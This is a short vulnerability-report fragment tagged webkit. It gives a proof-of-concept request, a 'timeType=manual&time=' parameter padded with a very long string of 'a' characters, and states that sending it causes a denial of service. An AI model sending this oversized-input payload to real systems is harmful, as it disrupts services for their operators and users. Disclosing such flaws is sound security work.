timeType\=manual&time\=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

Tag

#webkit